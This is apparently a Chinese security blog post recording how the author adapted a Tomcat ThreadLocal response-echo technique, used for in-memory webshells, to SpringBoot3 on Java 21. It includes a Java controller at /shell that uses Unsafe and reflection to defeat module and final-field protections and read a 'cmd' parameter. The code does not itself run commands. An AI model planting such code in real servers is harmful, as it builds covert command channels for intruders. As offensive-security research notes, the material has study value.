前言
前几天看了pop师傅的Tomcat内存马回显技术,利用ThreadLocal Response回显的时候,他换成低版本的SpringBoot和Java版本了(其实也就是kingkk师傅提出的tomcat回显得的方法)。因为现在SpringBoot3最低使用java17,反射修改private static final的方法在高版本下已经失效了。所以之前的代码已经不适用了,于是我就想着能不能在springboot3和java21实现一样的功能,刚开始自己没有构造出来,在ABU师傅的帮助下才写出来,于是也就有了这篇文章。主要是记录自己学习的过程。
ThreadLocal Response回显
低版本下就不多赘述说了,可以看pop师傅的文章,这里主要介绍高版本下如何解决报错问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| package org.example.echon;
import jakarta.servlet.ServletRequest; import jakarta.servlet.ServletResponse; import org.apache.catalina.core.ApplicationFilterChain; import org.apache.catalina.core.StandardContext; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import sun.misc.Unsafe;
import java.lang.reflect.Field;
@Controller public class EchoShell { private static Unsafe getUnsafe() throws Exception { Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); return (Unsafe) unsafeField.get(null); } private static void setFinalStatic(Unsafe unsafe, Field field, Object value) throws Exception { try { Object fieldBase = unsafe.staticFieldBase(field); long fieldOffset = unsafe.staticFieldOffset(field); unsafe.putObject(fieldBase, fieldOffset, value); } catch (Exception e) { e.printStackTrace(); } }
private static void setDispatcherWrapsSameObjectTrue() throws Exception { Object obj = Thread.currentThread(); Field field = obj.getClass().getSuperclass().getDeclaredField("contextClassLoader"); field.setAccessible(true); obj = field.get(obj);
field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources"); field.setAccessible(true); obj = field.get(obj);
field = obj.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(obj); standardContext.setDispatcherWrapsSameObject(true); }
@RequestMapping("/shell") @ResponseBody public String hello() throws Exception { Unsafe unsafe = getUnsafe();
Module baseModule=Object.class.getModule(); Class<?> currentClass= EchoShell.class; long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(currentClass,addr,baseModule);
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
lastServicedRequestField.setAccessible(true); lastServicedResponseField.setAccessible(true);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
setDispatcherWrapsSameObjectTrue();
String cmd = lastServicedRequest.get() != null ? lastServicedRequest.get().getParameter("cmd") : null; if (lastServicedResponse.get() == null || lastServicedRequest.get() == null) { System.out.println("in"); setFinalStatic(unsafe, lastServicedRequestField, new ThreadLocal<>()); setFinalStatic(unsafe, lastServicedResponseField, new ThreadLocal<>());
}if(cmd!=null){ try{ ServletResponse responseFacade = lastServicedResponse.get(); System.out.println(responseFacade); }catch (Exception e) { e.printStackTrace(); } }
return null; } }
|
其实主要解决了两个问题
- 反射修改private static final的方法在高版本下已经失效。
- 如何修改dispatcherWrapsSameObject值为true的问题。
参考链接
Tomcat中一种半通用回显方法
JDK高版本反射修改 private static fianl 修饰的对象
Tomcat内存马回显技术